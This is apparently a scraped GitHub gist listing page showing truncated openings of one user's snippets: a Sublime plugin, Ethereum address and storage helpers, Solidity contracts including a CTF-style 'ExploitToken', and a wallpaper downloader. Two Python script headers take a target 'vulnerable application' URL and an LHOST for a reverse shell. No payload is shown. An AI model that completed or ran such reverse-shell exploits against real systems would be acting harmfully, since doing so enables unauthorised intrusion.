bits | bytes |
---|---|
8 bits | 1 byte |
16 bits | 2 byte |
32 bits | 4 byte |
64 bits | 8 byte |
128 bits | 16 byte |
256 bits | 32 byte |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Add this script in your SublimeText Packages/User directory | |
import sublime, sublime_plugin | |
class DefaultSyntaxCommand(sublime_plugin.EventListener): | |
def on_new(self, view): | |
view.set_syntax_file('Packages/Markdown/Markdown.tmLanguage') |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import rlp | |
from eth_utils import keccak, to_checksum_address, to_bytes | |
def mk_contract_address(sender: str, nonce: int) -> str: | |
sender_bytes = to_bytes(hexstr=sender) | |
raw = rlp.encode([sender_bytes, nonce]) | |
h = keccak(raw) | |
address_bytes = h[12:] | |
return to_checksum_address(address_bytes) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// SPDX-License-Identifier: MIT | |
pragma solidity ^0.8.0; | |
// Write a ERC20 contract whose functions can be controller | |
// Create a test simulation where you are able to complete the challenge | |
import {ERC20} from "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC20/ERC20.sol"; | |
contract ExploitToken is ERC20("ExploitToken","ET") { | |
function etmint(address account,uint value) public { | |
_mint( account, value); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// SPDX-License-Identifier: MIT | |
pragma solidity ^0.8.24; | |
contract Test { | |
/* | |
Created by Tanishq | |
https://gist.github.com/root-tanishq/2160c983b13e8a7e1a938bf54d65da3c | |
+--------+ | |
| 0 | | |
+--------+ |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python3 | |
import requests | |
import sys | |
import json | |
RPC_URL="<RPC URL ADDRESS>" | |
CONTRACT_ADDRESS=sys.argv[1] | |
SLOT_NO=sys.argv[2] |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
# | |
# | |
# Downloading wallpapers from lofigirl releases | |
# | |
# | |
mkdir lofireleaseswallpaper; | |
mkdir templofi; | |
cd templofi; | |
for i in $(seq 2021 2024);do |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// SPDX-License-Identifier: MIT | |
pragma solidity 0.8.24; | |
contract VotingSystem { | |
address payable public owner; | |
uint public Option1; | |
uint public Option2; | |
uint public Option3; | |
error ERR(address _sender); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python3 | |
import requests | |
import random | |
import string | |
import argparse | |
# Argument retreiving | |
parser = argparse.ArgumentParser() | |
parser.add_argument('-u','--url', type=str,help=f'URL of the vulnerable application',required=True) | |
parser.add_argument('-lh','--lhost', type=str,help=f'LHOST IP on which the reverse shell will be sent',required=True) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python3 | |
import requests | |
import time | |
import os | |
import sys | |
import argparse | |
# User Arguments | |
parser = argparse.ArgumentParser() | |
parser.add_argument('-u','--url', type=str,help=f'URL of the vulnerable application',required=True) |
NewerOlder